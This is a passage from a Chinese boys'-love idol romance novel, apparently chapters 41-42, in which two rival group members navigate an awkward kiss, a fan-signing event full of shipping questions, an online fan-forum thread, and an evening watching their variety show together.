宛如一记将人从混沌状态中点醒的咒语,他们都猛地清醒过来,彼此双唇松开,怔怔地对视。 急促的呼吸声尚未平复,方柏嘉慢慢后退一步,猛眨了好几下眼,眼睛从方才迷离的状态中慢慢恢复过来,一点一点地睁大。 他看见汤昼恒那双被他吮得很红、犹如破皮浆果一样的唇,足以印证刚才那场亲吻的激烈与忘我。 不用想都知道,自己现在肯定也一个鸟样。 分明不是第一次做这种事,方柏嘉却从没有一次像现在这样羞涩无措,简直像在经历初吻,手、脚、眼睛,每一个身体部分都不知道该往哪放。 忽然间反应过来、羞耻感爆表似的,他磕磕巴巴开口:“那、那个,我去看下小陆在不在,走了,再见。” 方柏嘉脸上的表情活像见到了鬼,双颊憋红得一个多余的字也挤不出,只留下这么胡言乱语的一句,便匆匆拉开卫生间的门逃了。 汤昼恒没有阻拦地目送着他远去。 半晌,意味不明地笑了一下。 …… 回到卧室,方柏嘉第一时间关上房门。 一个飞扑躺倒在床上,多动症一样滚来滚去了半天,最后打开微博小号,在上面打下一行: 【汤昼恒好可怕!!!!!!!】 泄愤性质地敲下最后一个感叹号,方柏嘉对着眼前白底黑字的界面看了许久。 又过了好几秒,才按着手机键盘,一个一个地把那上面的字给删掉。 这种带大名的话当然不能发出去,虽然十个梦男里有八个可能都发过这类语焉不详的内容,但身为明星,还是谨慎要紧,万一就被广场上的粉丝摸进来了呢。 方柏嘉将界面清空,转手打了个看起来很像【> <】的emoji上去,点击发送。 眼睛盯着屏幕,心猿意马地用手指摸了摸被那人亲过的嘴唇,像很苦恼一样,突然锁上手机扔到一边,看向房间上方的天花板发呆。 头顶乍然有毛茸茸的触感传来。 方柏嘉维持着仰躺的姿势向后拉长脖颈,却见大橘白居然不知什么时候隐藏在了他的房里——大概是方柏嘉出去那会儿溜进来的吧。 它于两秒前优哉游哉地跳上床,这会儿正低头轻嗅方柏嘉的发尖。 方柏嘉愣愣仰头看了它半晌,忽然来了精神,一下翻身趴了起来,凑近和猫低语。 “你悄悄告诉我,你爸爸跟我说的那些话是不是真的。” 方柏嘉试图和眼前这只看起来就不太聪明的动物对视,一边摸它的爪子一边盘问:“他有没有说谎话骗我?你们住在家里的时候,有没有遇见过其他和他举动亲密的alpha?” “他说他只对我这样,真的假的啊?” 方柏嘉的问题一个接一个,然而眼前的猫却没有任何回应。 他不由得叹了口气,觉得自己简直白费口舌:“傻猫,话都不会讲。” 橘白不堪他的骚扰,“嗷”一声窜到地上跑掉了。【你现在阅读的是 】 40-50 第41章 第 41 章 就这样当着签售姐的面调…… 首都的见面会安排在周末, 刚好周六周日各一场。 汤昼恒的手受了伤,公司不得不连夜赶了个通告出来安抚粉丝,大概说了下他的情况, 让大家不要惊慌云云。 这个消息一出来,自然引发了粉群的不满, 也很快有人猜出汤昼恒的手伤是因为昨天的游戏环节所导致,粉丝们轰轰烈烈地展开了对公司策划如此不上心的兴师问罪, 其中又夹杂些小行星和小方糖的对轰、乃至对诺亚方昼粉的讨伐—— 这期间的腥风血雨, 方柏嘉并不知晓。 因为这几天他都在和汤昼恒“避嫌”。 那天他也不知道怎么想的, 突然就对汤昼恒发起了进攻。说了那么模棱两可的、暧昧的话后, 还和对方接了一个相当火热的吻。 以至现在每每回想起来, 方柏嘉还是会感到一阵脸红心跳。 紧接着就是十分无比以及极其的后悔。 当时怎么就脑子一热就…… 都怪汤昼恒。 方柏嘉觉得自己就像一截弹簧, 在汤昼恒那儿受到刺激,被人拉扯到极限后触底反弹了,做出了连自己都没预料到的举动。 可是反弹过后呢?还是得恢复原状的。 于是方柏嘉就又退缩了, 不知道接下来会发展到什么样的地步, 方柏嘉下意识对未来可能发生的事感到紧张, 觉得太快、事情太超过掌控,也不知道汤昼恒这突如其来的“变性”是什么情况,认真的还是闹着玩—— 方柏嘉在一时冲动上头后迅速进入了冷静期, 决定先把和汤昼恒的这段关系“晾晾”再说, 冷静冷静。 不过也不是真的又跟之前一样互不搭理了,毕竟汤昼恒手腕还受着伤,他这会儿再冷落人家,多少有点过于奇葩。 方柏嘉又肩负着监督汤昼恒养伤的使命,这些天依旧照常和对方说话、帮他换药,只不过表现得像是那日那一吻根本就没发生过一样, 再没有额外出格的举动,说话也客客气气。 …… 他们组合今天在外地有一场签售。 签售会顾名思义,就是让粉丝一个一个地拿着购买来的专辑上台让爱豆签名,这中间会给每人一到两分钟的时长,让他们和喜欢的偶像聊天互动,提出一些简单的要求或者问题。 本质上也是为了满足粉丝和正主近距离接触的心愿而诞生出的活动形式。 不大的场馆舞台上横着一排长桌,用黑布盖了起来,上边从左到右地按照一定顺序摆上六名成员的座位牌,这就是他们签售的场合。 好巧不巧的,今天方柏嘉刚好被安排和汤昼恒挨在一起坐。 简单的开场白与打招呼环节之后,活动很快进入正题。 第不知道多少个粉丝在方柏嘉面前落座。 他和对方打过招呼,熟练地接过一旁递来的专辑,翻到属于自己的那页开始签名。 签售的时间很短,经常要争分夺秒。方柏嘉出道多年,早已学会一心二用,手上一边握着油性签字笔写写画画得飞快,一边和对方闲聊。 突然听见面前的omega粉丝问:“——所有成员里,你认为谁最适合谈恋爱?” 这类问题可以说是签售会上的常见梗。 各种不同形态的变体有,如果你是女生会和谁交往、如果你有姐妹会介绍给团里的哪位、成员里面恋爱和结婚分别选谁,等等等等诸如此类。 给出的回答通常要根据粉丝本身的属性以及爱豆自身的意愿来灵活变通。 比如如果感受到对方明显是女友或者男友粉,喜欢媚梦向粉的爱豆就会说,当然是我最合适啦。 又或者对方的目的是为了嗑cp,这时候靠cp吃红利的聪明人就该开始大卖特卖了。 还有人问这种问题纯粹是出于好奇,想要收集成员们的tmi。 而unforbidem粉圈众所周知,方柏嘉既不爱养梦男梦女,也不爱卖。 不是很清楚对方问这句话的目的,方柏嘉直接默认桌对面的omega是第三种人。 歪着头想了想,他营业模式上线,开始端水:“这个应该要看你的个人喜好吧?如果喜欢年纪比较小,有活力、会闹腾你的那种,你可能会适合小的那三个。如果喜欢年纪大一点、沉稳一点,擅长照顾人的男朋友,可能丞哥,还有——” 说到这里,方柏嘉卡了下壳,突然意识到汤昼恒就在他的旁边,因而不自觉地将声音给调小。 “……我们队长,会比较合适。” 他并不想让被提到的人听见自己的话,但还是没能成功。 签售时本来人与人之间就坐得近,加上现场环境嘈杂,底下有不少人说话,台上的人要交流也需要提高一些嗓门。有时候自己在和面前的粉丝说着话,旁边的队友在聊些什么也能听得一清二楚。 方柏嘉这段内容讲到一半,左手边汤昼恒和他正在签的另一名粉丝已经明显捕捉到什么关键词似的,朝他们这边分别快速地瞥了一眼。 方柏嘉余光注意到这一点,整个人的背脊都僵硬了,omega粉丝紧接着还在追问:“那你喜欢哪种?” “——哈?” 对方忽然把话题转到他身上,方柏嘉心不在焉又魂不守舍,第一时间没反应过来—— 或者说,反应过来了,但不确定是不是自己理解的那个意思。 直到对面的人又问了一遍:“你会比较喜欢年纪小、有活力的,还是年长会照顾人的?” 这什么问题! 方柏嘉差点喷了,却也明白过来,合着这是个来嗑糖的。 他嘴角抽了抽,一时间还真不知道该怎么回答。 所有人都知道,方柏嘉的习惯是不卖腐。 按照他以往的惯例,这时候就该懂装不懂地插科打诨答非所问,就像刚才那样,这是他向来的应对措施。 然而就在这时,方柏嘉却注意到,汤昼恒和那名粉丝已经结束了为期100秒的计时。 按理说对方该拿起专辑去下一位成员那里了,可排在汤昼恒后面的杭泽宇还没把手头上的签完。 队伍因此停滞,汤昼恒对面的这位没法动,反正闲着没事,两人似乎也注意到方柏嘉这边的话题有点意思,都饶有兴趣地偏过头来打量。 这回就不止是刚才的“一瞥”了。 “…………” 方柏嘉想跪了。 汤昼恒就在旁边听着,这要他怎么回答得出口? 方柏嘉脑袋里那根弦忽然就接不上了。 “喜欢哪种——” 他愣愣地重复了一遍这个问题,竟过了好几秒也没给出回应。 一切的应对措施与常年营业培养出来的圆滑老练都在那人的目光注视下化为飞灰。 方柏嘉脑子里乱糟糟的一团,仿佛罢了工的机器人,呈现出断线一般的姿态,不知道是故意拖延时间,还是真的忘了该如何回应,窘迫地倒过来用手上签字笔的末端挠了挠头发。 慢吞吞地说着,他下意识回过头,不期然与也正侧头望着他的汤昼恒对上视线。 就这么短短一下,便迅速弹开,方柏嘉浑身都冒着局促的气息,一看就是因为来自旁人的注视而不好意思了。 那名女omega见他这样,先是不解,随后又迅速察觉到了什么,双眼瞪大,一脸兴奋又耐人寻味的坏笑,一瞬间竟然觉得方柏嘉不回答也没什么关系,因为这样的反应更加耐人寻味,值得细品。 加上剩下的时间也不充裕,她赶忙改了口风:“算了算了,换个问题!” 方柏嘉顿时如蒙大赦地收回目光,不好表现得太明显,抓起桌面上插了吸管的矿泉水瓶喝了起来。 惊还没压到一半,就听她又开口:“网上大家好多人都发现你最近几场的活动都有在偷偷看队长,你刷到过没有?还有人统计过你一场下来最多看了队长快五十次!” “噗——咳咳咳……对不起。” 方柏嘉一个始料未及,在听清对方在说些什么的时候忍不住喷出了嘴里的水。 好在他是侧身对着地面喷的,倒也没连累到无辜群众。 方柏嘉赶忙向一旁的工作人员要来纸巾擦拭,一边向桌对面的omega粉丝道歉。 其实心中在想,不是…… 怎么什么问题都捡在刚好汤昼恒坐在自己旁边的时候说啊! 但凡挑个身边是其他队友的日子,他也不至于这么尴尬。 喷水的动静有点大,坐在他右手边的陆翰音吓了一跳,一脸讶异地瞧了瞧他。 方柏嘉又抽了张新的纸,吸了吸唇边多余的水分,这才从桌子后面重新抬头,坐直起身体。只觉得自己整个脑袋都在发热,这会儿根本不敢去看汤昼恒在一旁是什么表情、去猜他究竟听见了刚才的话没有。 他强行屏蔽了来自左右两侧的视线,深吸一口气,和桌对面的粉丝艰难对视道:“有吗?我没太注意到。因为他手受伤了嘛……又和我有点关系,就忍不住多看了几眼。” 这话说得方柏嘉自己都不太相信。 什么“多看几眼”是能看上五十多次的? 这到底真的假的,对方不会开玩笑骗他的吧? 靠,尴尬大发了。 看着女生嘴角边越发意味深长的笑意,方柏嘉决定无视。 * 刚才还在“折磨”方柏嘉的粉丝转眼去了汤昼恒那边。 她前面照常和对方扯了些有的没的,最后终于图穷匕见,对汤昼恒说:“所有成员里,你觉得谁最适合谈恋爱?” 有方柏嘉在前面打底,汤昼恒显然已经有了心理准备,听到这句话也只是微微一笑,反问对方道:“你这个问题是给谁问的,我?还是你自己?” Omega粉丝被他道破心思也不恼,嘿嘿一笑说:“如果是给你问的呢?” “那我恐怕没法给出答案。”汤昼恒将专辑翻开,一边签名,一边老道熟稔地避开话题,开玩笑道,“我也没和他们几个谈过。” “所以说是‘你觉得’嘛。”粉丝还不死心,两次套话未果,只好退而求其次地说,“那如果是给我介绍呢?丞绪怎么样?” 汤昼恒想了两秒:“应该不错?虽然有时候嘴有点厉害,但应该会很包容你、很专一。” “老幺呢?陆翰音可以吗?” “也可以吧,给人的感觉像金毛一样,很能逗人开心。” …… 粉丝陆陆续续把几名成员的名字都念了一遍。 “那,方柏嘉呢?”好像大招总要酝酿到最后时刻才会放出,停了两秒,她才出这个名字。 尽管面前这人已极力表现得正常,但一些细微的举动和面部表情还是暴露出不寻常的意味,好像这才是她真正想问的问题。 隐约察觉出这一点,汤昼恒笔下一顿,片刻后,仿佛经由深思熟虑般地回答:“嗯……好像不太行。” “为什么?”对面看上去很惊讶。 汤昼恒没有正面回答:“我觉得,会很有难度吧。感觉他应该是很难追、很有挑战性的那类型。一般人不是很建议尝试。” “噢——”女生顷刻间露出意会到了什么的表情,拖长了音发出近乎起哄似的感叹。 没几秒又立刻道:“说一个近期和方柏嘉有关的tmi吧。” “TMI……”汤昼恒的脸上露出思考的神色,仿佛在搜刮与之有关的记忆,不多时道,“看上去很活力年下,但其实认真起来也像年上一样,很会照顾人,而且还很严格,会因为你没有按照他说的静养休息就严厉地批评你。” 他煞有介事地说。 “啊!”omega女生捂嘴发出惊呼,显然也因为汤昼恒的话而想起来了什么,开始激动地拍桌。 她身体前倾凑近了汤昼恒道:“说到这个,你看网上没有,好多人说嘉嘉最近几场活动都会在跳舞的时候偷偷看你,你有没有注意到?我刚刚还和他讲来着!” 话音落下,几乎是心有灵犀地,两人同时转头看了侧边的方柏嘉一下。 话题中心的那人此刻正认真地和坐在他前方的粉丝交谈着什么,看样子是没注意到自己又成为了别人的谈资。 “……” 汤昼恒心想,本来是不大知道,但你一共提了两次,我现在不知道也不行了。 “不是很清楚,我平常不看这个。不过我等下会去看一下。”剩下的时间不多了,汤昼恒冲女生笑了笑,“名签好了,具体内容需要我写什么呢?” * 不知道为什么,方柏嘉总觉得这次回归签售上遇到的他和汤昼恒的cp粉格外的多。 这种感慨甚至延续到了签售结束后的photo time。 许多粉丝前来参加签售时会带一些饰品、衣物或者手持的道具,在开场前放进对应成员的箱子里。 这个环节就是成员们随机从箱子里拿出物品穿戴摆pose,让台下粉丝拍照出图的福利时间。 因为道具太多,不是所有人送的东西都会被选中,所以一些人会在座位上举牌子提醒。 方柏嘉无意间抬头扫了一眼,发现有个粉丝在冲他拼命晃动着“拿合照牌”的标语。 合照牌? 方柏嘉低头,视线在腿边的箱子里找了一圈。 没有啊。 他刚冲那名粉丝做了个耸肩的动作,忽然想起后边还有个大箱子是放更大的物品的,于是找了过去,果然在里面看到了折叠起来的kt板。 方柏嘉拿起一瞧,上边贴了是给自己和汤昼恒的标签。 打开来看了下,是这两年很火的那种仿照网页人机验证的道具。 一个巨大的白板,上边用蓝底白字写着“请选择所有包含【狗狗】的图片”,底下是划分好的九宫格,其余七格都是从网上搜集来的伯恩山和比格的可爱图片,这是汤昼恒和方柏嘉在粉圈里最著名的狗塑,中间两格镂空,是为了让他们站在后边合影的。 方柏嘉看到这板子,忍不住挑了挑眉。 虽说他一般不卖腐,不过毕竟是粉丝点名要的,他也明显看到了,不可能再临时不拿,于是抱着kt板慢慢回到了桌前。 正犹豫着该怎么去找汤昼恒说明,就见那人正和手上刚从箱子里拿出来的东西较劲—— 那是一对粉丝送的手作头饰,方柏嘉一眼就看出来,模仿的是伯恩山的耳朵造型。 头饰分成两个单独的夹子,每个夹子上的耳朵都有差不多巴掌大,因为不是发箍那样随便一戴基本就能找准位置的饰品,还需要分别把发饰夹到合适的位置才行。 汤昼恒一只手行动不便,右手试了几次都没能把左边这只耳朵戴到和另一只一样的位置。 舞台边的工作人员正在愣神,没注意到这里有人需要帮助,直到台下附近的观众有人提醒,才如梦初醒地走上前去。 然而还不等走出多少米,方柏嘉已经先他一步地到达汤昼恒的身边。 “我给你弄。” 他冷不丁开口,沿着汤昼恒的指尖摸去,把那枚巨大的发夹摘下来,示意汤昼恒转身朝向自己。 “低头。” 汤昼恒先是注意到台下忽然响起的惊呼声,转过头,才发现方柏嘉不知什么时候来了。 骤然听见他的声音,英俊的alpha不由得怔了怔。反应过来,十分顺从地如方柏嘉所说那样转身面向他,微微低头。 方柏嘉一手轻扶着对方的下颌用以固定,另一只手捏住发夹,比对着将饰品挂在合适的高度。 这期间台下的起哄声逐渐加强,方柏嘉猜到缘由,脸上的表情变得少许不自然起来,给他调整好头饰就迅速收回手。 正打算张口说些什么,观众席上忽然远远传来一声:“你也有!耳朵!!!你也有!” 台上的二人同时一愣。 方柏嘉扭头在底下一众人头中寻觅,看见一个疑似对象在疯狂晃动手臂。 签售会——尤其是大热团的签售会向来都是这样,底下的粉丝为了被正主饭撒,经常都会通过喊叫的方式来吸引人的注意力。现场的嘈杂声此起彼伏,倒显得那一声不那么明显了。 汤昼恒听了一会儿才道:“她好像是说你也有一对这个。” 他抬手指了指自己的耳朵。 方柏嘉顺着他的动作朝上看了眼,忍不住抿了下嘴。 妈的超可爱啊。 两人的位置就挨在一起,方柏嘉闻言,索性低头在箱子里翻找起来。 东西压得比较下面,他胡乱拨了好一会儿才看到眼熟的物体。 确实如方柏嘉心中预想的那样,是一对和汤昼恒头上的耳朵一看就是同种画风的比格耳夹,颜色土黄,要比汤昼恒的再稍微大和长点。 粉丝还给他们做了能露出五个手指的狗爪爪套,方柏嘉戴好发夹,给自己穿上了。 刚才在台下尖叫的粉丝明显就是送出这对配套装饰的主人公,汤昼恒为方柏嘉指了指粉丝坐着的位置,两人对着大炮的镜头举起狗爪摆起了pose。 拍完这个,方柏嘉又拉住汤昼恒,让他和自己顺便一起把kt板也拍了。 两人各自扶着合照牌的一边,在相邻的空格里露出头。 台下按下快门的声音此起彼伏,不知道是谁在感叹好萌好配,方柏嘉听进耳朵里,脸上又开始发热,只能装作不知道的样子,低头在箱子里扒拉别的配饰。 在这之后没多久。 【妈呀谁看见方舟新出的签售预览了,毛茸茸狗耳饰品+kt板合照超可爱啊……我产就是这样一对萌萌的狗狗配[握拳][感动][热泪盈眶]】 【1400-1】 【13一卖就卖得发狠了忘情了没命了,后面忘了,总之让哥比狗塑合照的签售姐是天才】 【这场方舟姐真的好多……我惊呆,今天已经刷到不下四五个跟13有关的签售视频了,wtf,一夜之间13批全复活了???以前好像都没见过这种阵仗】 【jdl,以前方舟姐在现场显得不多难道不是因为正主看着关系太差了…………3一被问到和1有关的事就臭脸谁还敢放肆,光去问1也不合适。而且小行星小方糖那么凶神恶煞,哪个cpf不长眼让他们卖了不得被两家混合双打】 【点了,说实话13没和好的时候朋友问我我都不敢说我嗑方舟(闭眼流泪)】 【谁来上一下那个,她突然凑近问我方舟姐版(。)】 【曾经的13姐就像只在夜晚出没的鼠鼠,只会在正主看不到的地方默默捡着其他cp嗤之以鼻的糖,当你发现一只,不要怀疑,我们大家都在背地里没有饭吃的时候阴暗爬行。一旦正主开始卖了,我们就都复活了!!!】 【回前面,现在难道就不混合双打了吗,我看13家昨天还吵了一波】 【???怎么还在吵,最近13关系不是很和睦吗?甚至糖还挺多的】 【众所周知粉圈打架向来和正主关系好不好没关系】 【就是因为1手受伤那件事,1f说如果不是3在下面挡着老一也不会摔,3f说没证据证明1是因为3才受伤的,中间夹带着打了一下方舟姐说cpf嗑血糖全是3fw,3f表示不可能我们3f从来不嗑cp,1公不要倒打一耙,反正断断续续闹了几天】 【有时候看毒唯打架真的想问他们几岁[汗]摔不摔受不受伤的也不是他们能决定的,而且肯定谁也不想啊,非要整个对错是什么毛病。方舟姐过去这几天已经够安静如鸡的了,看到糖基本也是感慨一下两个人其实关系不错心软软之类的,还要我们怎么样……】 【终于可以说了,这几天都快把不不调成娇妻了1f到底有什么不满意的,上下车又是帮老公背包递水又是调麦整理衣服的,跳个舞都要时不时分出注意力观察老公的状态,我们比王什么时候这么柔肠百转温柔小意过!】 【小行星小方糖就放过这对眼里只有彼此的璧人吧,连他们本人都不在意你在意又有什么用】 【不不原本是个混世魔王,为了老哥也变得柔情似水了】 【够了,我什么时候看到3的比格魔王塑能不笑】 【可是比偷偷看老公真的很萌……伯每次笑眯眯看着老婆凑上来贴贴的样子也很萌,家产是一对狗勾[流口水][握拳]】 【3偷看老公是什么!啊啊啊最近几天都在忙面试错过了,我现在急切需要更多糖分!!!】 【是这个!小比超绝不经意偷窥(不)[帖子链接]前几天已经讨论过一轮了,其实就是大家发现1手受伤之后的每场活动3目光都会偷偷往他那里瞟,应该是担心1的伤势啦,毕竟他打了绷带都还要跳舞,有人数出来他一首歌就要偷瞄1十几次,次数最多的一场看了1四十多眼[笑哭]】 【说到比偷窥(?)朋友们请看!!今天签售有方舟姐当面问他俩这件事了[视频链接][视频链接][视频链接][视频链接]13两个人的回答乃至面部表情反应都很值得细品……】 【笑死偷窥被揭发直接喷水是什么鬼,自己做的时候不想想被发现了怎么办怎么粉丝一问就娇羞了】 【这个表情说他心里没鬼我不信】 【我心里突然冒出一个荒谬的想法,这只比该不会觉得他做得很隐蔽所以被粉丝当面问出来才这么惊讶吧[吃惊]】 【隐蔽在哪,每次老一从他身前经过老三的眼神都快贴他身上(手上)去了,说他是梦游根本没注意到自己看着老一倒是有点说服力】 【是这样的,这俩人是磁铁,老公一出现比的目光就不由自主地围着哥转了[心]】 【啊啊啊谁看了恋爱提问,fbj粉丝问你喜欢年上还是年下你怎么不说话,这个问题有那么难回答吗?】 【一个号称从不媚cpf装傻充愣歪曲话题是一绝的alpha为什么突然不会说话了呢,好难猜啊,你说是吧在旁边偷偷瞄老婆的某人】 【谁能告诉我为什么老三好几次遇到和老哥相关的事情都这么不像他自己,这迷之沉默好不像他的风格】 【爱情的力量罢了】 【有没有可能,我是说有没有可能,其实不不面对老哥时一直就这么娇羞,平时都是在虚张声势?】 【绝 无可能】 【我看你是想要小方糖的命】 【被小方糖要了命还差不多吧,楼里的小心点,说不定等会3f就进来截图把你挂出去说方舟姐刻意抹黑老三人设了】 【楼上是有生活经验的】 【草老哥的答案也好好品,怎么别的队友都是礼貌性夸赞一到了老三这里就变成不建议很难追了,到底为啥也好难猜啊,别人都不追你就可以独占了是吧,汤昼恒说话!】 【你没追过怎么知道难追,tzh说话!】 【谁注意到哥那句话的华点,描述比的时候说他既有年下的活力认真的时候又沉稳会照顾人,这不是签售姐前面问比比回答的内容吗,加上他们今天签售会就坐在一起……omg所以比回答了啥其实哥在旁边都有听到[惊恐][尖叫]】 【woc这么一说我一下就get到为什么不不被问喜欢哪种类型的时候支支吾吾说不出话了,要是聊这种话题的时候我暧昧对象在旁边换我我也紧张】 【?这两只狗就这样当着qsj的面调情】 【又发现了一个华点,结合前面的3会在舞台上偷看1以及这个视频里1说3会因为他不严格遵守医嘱就生气……3该不会就这样每天时刻盯紧1监督他有没有超负荷用手,如果有的话就回去严厉批评(不是)吧[吃惊]】 【哥超绝不经意炫耀自己是妻管严中……】 【呵呵tzh你自己也乐在其中吧】 【娘嘞起先担心见面会那天是回光返照结果13的糖源源不断[吃惊]】 【看下来我就一个疑问,谁把13的中药换成冰美式了?】 【这个程度已经不是冰美式了,是被公司喂了同性恋药了吧】 【记得加量,喂傻了都没事 @山川相缭】 【13姐从此以后你们不用再阴暗爬行了,因为时隔多年你的cp终于行了】 第42章 第 42 章 而他正在缓慢品尝他的味…… 签售会结束, 一行人转到酒店里休息。 为期两周的打歌落下帷幕,接下来一个多月的团体行程中,见面会和团体签售占了大半。 成员们穿梭在各个城市里, 会见不同地方的粉丝观众。每到一个地点,基本上是见面会一天、签售会一天, 遇到人多的场会加开,中间的空当穿插着各种节目与广告拍摄之类的其他团活以及个人活动, 总之十分忙碌。 签售会后只要没有别的安排, 在转到下一个地方前都会有两三天的休息时间, 成员们可以自行在当地到处逛逛玩玩。 回酒店不到一个小时, 陆翰音和杭泽宇就来敲方柏嘉的门, 问他要不要和他们一起去这边的网红餐厅吃饭, 还可以顺便去热门商业街看几眼。 方柏嘉直接拒绝了:“懒得走。外卖都点了,累。” “得,又一个不去的。”杭泽宇说, “算了算了, 去找下一家。” “等等。”趁对方转身之前, 方柏嘉叫住他,“……你们还找了谁啊?谁也不去?” “差不多都找了啊。”陆翰音一脸无聊,“队长手受伤了, 说他不方便。丞绪哥比你还宅, 说要躺在床上看剧,哦对了,江白树他……” 感兴趣的已经打听到了,剩下的内容方柏嘉不是特别关心。不好意思打断,只好装模作样地听着,其实心思放空, 神游天外。 好不容易等对方说完,将那两人送走,之前点的外卖也陆陆续续到了。 方柏嘉便坐下开始用餐。 一边时不时地往嘴里塞两口东西,一边用左手刷手机玩。 玩着玩着,他忽然想起今天前来签售的粉丝跟他提起过的那个“自己偷看了汤昼恒四十几次”的网传视频。 在现场听到别人告诉他时,方柏嘉一度以为对方在开玩笑。 他这些天确实是因为担心汤昼恒的手伤,忍不住在台上时多注意了对方一些,但他哪有看汤昼恒那么多次? 本着眼见为实的求真理念,方柏嘉立刻打开社交平台搜了搜,输入几个关键词,很快就找出了粉丝说的内容。 ……不看不知道,那名omega粉丝还真没骗他。 视频明显是cp向的,剪辑它的人把整场有关方柏嘉偷瞄汤昼恒的画面都提炼出来,一个个一两秒的短场景拼接在一起,浓缩汇聚成时长约为一分钟的小短片。 方柏嘉每看汤昼恒一次,顶端代表计数的阿拉伯数字就跳动一下,配合着哗啦啦掉落钱币的音效,画面顶端不断闪现过“+1”的字样。 方柏嘉不信邪,颇具耐心地把整个视频从头到尾地播放了一遍。 还真是四十几次,一次没少,一点弄虚作假的成分都没有掺,把方柏嘉看得脑门冒烟,不得不承认,他表现得确实太明显了。 奇怪的是他自己当时并没有察觉到这一点,只是视野里看到有汤昼恒经过,就下意识地瞥一眼。 他们的歌舞蹈力度和框架一向很大,大家私下都说汤昼恒可以稍微偷点懒,一些运用到手部的地方不用做得那么标准。汤昼恒嘴上答应下来,在台上却看不出懈怠的痕迹,几乎还和之前无异。 方柏嘉有那么几次看到他在背对观众席时出现过悄悄转动和揉捏手腕,从那以后就养成了瞄人的习惯。 汤昼恒似乎也有一两回察觉到他的目光,后面干脆连揉手腕的动作都不在他们眼皮底下做了,方柏嘉担心汤昼恒再来个先斩后奏、哪里痛了也不说,不由自主地把对方盯得很紧。 晚上回来换药,忍不住说他两句。结果被对方轻巧的几句“和成员们动作不统一、画面不好看,想尽量做到和大家一致”给堵回去,转头就变成了汤昼恒对外所说的“对他很严厉”。 视频播完,界面自个儿跳到下一个系统根据关联tag给他推送的内容——是今天新鲜出炉的签售视频。 方柏嘉自然也看到了汤昼恒那边的种种对话与回答。 简直是危言耸听! 方柏嘉愤愤地想,汤昼恒但凡配合听话点,他哪还有这么多事。 竟然背着他讲小话…… 这样想着,听见汤昼恒说他沉稳可靠会照顾人,方柏嘉的脸上还是一热。 拖拖拉拉吃完晚饭,已经是晚上九点多。 方柏嘉去浴室漱了口,正犹豫着不知道接下来该干点什么好,突然间,房间大门外的门铃响了。 他一个激灵坐起来,穿上酒店的拖鞋走去开门。 行走的途中还在思忖,这个点会是谁来找他? 两个小的已经出去了,那就是经纪人和剩下的队友,或者干脆是……那个人。 门打开了,露出外面的汤昼恒那极有视觉冲击力的身形和脸。 “我来找你换药。” “啊……进来吧。” 果然是他。 即便到了别的城市出差,两人的这个习惯依旧没变。 宛若某种心照不宣的约定俗成,汤昼恒跟在方柏嘉的身后去了他酒店房间里的浴室。 这中间不可避免地路过了方柏嘉的客厅,只见他空间内部的灯光近乎全暗,唯有沙发对面墙上巨大的电视屏幕开着,停留在原始的选片主页,散发出一片幽幽的蓝光。 汤昼恒若有所思,在洗手台边默默任由方柏嘉帮他检查了手腕处的伤势,缠好固定用的绷带后,照例问了他一些关于伤处的问题。 换好药,汤昼恒按理来说该走了。 没什么可以停留的借口,两人目前的关系也很微妙,那些正常朋友或同事可以在一起做的事,对于他们而言反倒显得暧昧。 尽管如此,方柏嘉的心里有一瞬还是在想,自己是不是该做点什么,把对方留下来,请汤昼恒再待一会儿。 不然这人专门过来找他,他却只给对方喷了点喷雾就让人走,是不是有点太不礼貌? 这样的念头一闪而过,走出浴室后没两步,汤昼恒忽然问他:“我来之前,你在干什么?” 方柏嘉注意到他的视线,下意识顺着汤昼恒的目光一起看向外边的客厅:“就,没干什么。准备选部片子看,但也没想好。” 汤昼恒上眼睑垂落,大半张脸陷在浴室外即将与客厅交接出的阴影里:“要一起看吗?” “啊?”方柏嘉被他突如其来的邀约问得一愣,始料未及间,心跳不受控制地加快一点。 还没来得及回答,汤昼恒似乎看出他摸不着头脑的样子,又补充:“《时旅家》今晚就更新了,你不想知道网上的反应吗?顺便看看自己表现得怎么样。” 方柏嘉忍不住在心里回了句:这综艺我是常驻,又不是第一天录制了,我有什么好看反应的。 但也明白对方的意思。 这怎么说也是他和汤昼恒第一次在没有其他成员的情况下一块儿上同一档节目,此前两人之间的“矛盾”又在互联网上传得火热,想必会有不少吃瓜网友等着看热闹。 汤昼恒一讲,立即勾起了他的好奇心。 说方柏嘉不想知道他和汤昼恒之间的相处在镜头里会呈现出什么效果肯定是假的,可要是和对方一起看着电视上的他俩对话互动,似乎也有点奇怪…… 方柏嘉本来应该说不——毕竟他之前还打算这段时间都要和对方保持一点距离来着。 可不知道为什么,拒绝的话在他嘴里打了个转,最终还是没能说出口。 只是一起看个节目,应该没什么吧? 年轻的alpha欲盖弥彰地伸展了下肩膀,眼睛像灵巧的动物一样缓慢地转了半圈。 方柏嘉偏了偏头,蠢蠢欲动、又小心翼翼地说:“嗯——也行?” * 汤昼恒不说,方柏嘉都差点忘了。 他们一起拍摄的是《海岛寻宝特辑》,像这种专门的大主题时长太长,通常都要分成上下两期来播放。 然而上周末据说是后期技术上出了什么问题,没有弄好,搞得本该在上个星期就播出的《海岛寻宝(上)》没有播出,节目组索性把两期更新都挪到这周来了,说要一晚上一次性放出。 《时旅家》每周六晚九点更新,他们的特辑这会儿估计也才上线没多久。 刚好方柏嘉本来也打算看点东西,外卖还点了些水果零食,都摆在客厅的茶几上。 他招呼客人坐下,自己跑回卧室拿了条毯子盖在大腿上,顺嘴问汤昼恒:“你要吗?” “不用,我不冷。” “哦,”方柏嘉回过头,“用我的IPAD投屏吧,我有会员。” 他说着,也没打算等汤昼恒回应,拿起手边的12寸平板摁亮屏幕,调出《时旅家》这次的更新,投屏在了大屏幕上。 方柏嘉拿起桌子上点的外卖饮料,有一口没一口地啜着。 片头过后,嘉宾们的身影很快出现在海滨沙滩上,开启了闲聊。 才看了一会儿,方柏嘉就后悔答应汤昼恒的邀请了。 他投屏的时候,一直是默认有弹幕的,感觉这样稍微有意思些。 ——却忘了他已经好久没看过和自己有关的综艺节目,以至于当偌大的电视机上满眼都是他和汤昼恒的粉丝在比着赛地刷屏时,坐在沙发上的两个人都定住了足有两三秒。 “咳、咳咳!我调一下。” 沉默无端蔓延了须臾,方柏嘉宛若惊醒般一下从沙发上跳起来,赶在自己被饮料呛死前再度抓起平板,飞也似的将设置转换成智能精选弹幕。 这下界面清爽多了。 方柏嘉重新靠回沙发椅背,仍旧惊魂未定,心不在焉地用牙齿碾着吸管。 结果没多久就又感觉到不对劲。 粉丝控评终于没有了,可是,留在屏幕上的这些发言都是怎么回事? 